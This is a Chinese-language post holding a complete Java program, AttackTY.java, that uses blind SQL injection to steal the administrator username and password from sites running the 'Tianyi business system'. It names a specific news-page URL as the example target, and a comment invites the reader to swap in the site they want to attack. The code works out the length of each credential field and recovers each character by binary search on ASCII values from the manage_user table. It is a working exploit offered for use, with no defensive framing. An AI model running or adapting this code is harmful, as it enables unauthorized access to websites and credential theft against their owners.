java程序破解天意商务系统后台帐号
 
  /**  文件名 : AttackTY.java  描述 : 针对天意商务系统的java程序,破解后台管理员用户名和密码,利用SQL Injection漏洞         注入地址为本网动态的某个新闻,这里以www.ejl.cn为例  作者: 慈勤强     Email : [email protected] **/
 
  import java.net.*; import java.io.*; 
public class AttackTY extends Thread {  int iUserLen;  int iPwdLen;  String strKey="暂时还未";  String strU="http://www.ejl.cn/show_news.asp?newsid=105"; //只须修改这里,变成你要攻击的网站地址    //取得某个页面的函数  public String getContent(String strUrl)  {   try{       URL url=new URL(strUrl);    BufferedReader br=new BufferedReader(new InputStreamReader(url.openStream()));    String s="";    StringBuffer sb=new StringBuffer("");    while((s=br.readLine())!=null)    {          sb.append(s+"\r\n");        }    br.close();    return sb.toString();   }   catch(Exception e){    return "error open url" + strUrl;       }    }
 
   //取得管理员用户名和密码的长度  private int getLen(String str)  {   AttackTY ou=new AttackTY();   String s,s1;   for(int i=2;i<20;i++)   {    s=strU+"%20and%20(select%20top%201%20len("+str+")%20from%20manage_user)="+i;    s1=ou.getContent(s);    if(s1.indexOf(strKey)<0)    {     return i;    }   }   return 0;  }
 
   //二分法取得用户名和密码的Ascii码值  private void getValue(String str,int iLen)  {   AttackTY ou=new AttackTY();   String s,s1,s2;   s2="";   int iStart,iEnd,iNow;   for(int j=1;j<=iLen;j++)   {   iStart=33;   iEnd=126;   while(iEnd-iStart>1)   {   iNow=(iStart+iEnd)/2;   s=strU+"%20and%20(select%20top%201%20asc(mid("+str+","+j+",1))%20from%20manage_user)>"+iNow;   s1=ou.getContent(s);   if(s1.indexOf(strKey)<0)   {    iStart = iNow;   }   else   {     iEnd = iNow;     }   } 
 System.out.print((char)iEnd);    }  } 
  public static void main(String args[])  {   AttackTY ou=new AttackTY();   ou.iUserLen=ou.getLen("username");   ou.iPwdLen=ou.getLen("password");   System.out.println("用户名:" );   ou.getValue("username",ou.iUserLen);   System.out.println("\r\n密码:");   ou.getValue("password",ou.iPwdLen);  } } 
   
 
  |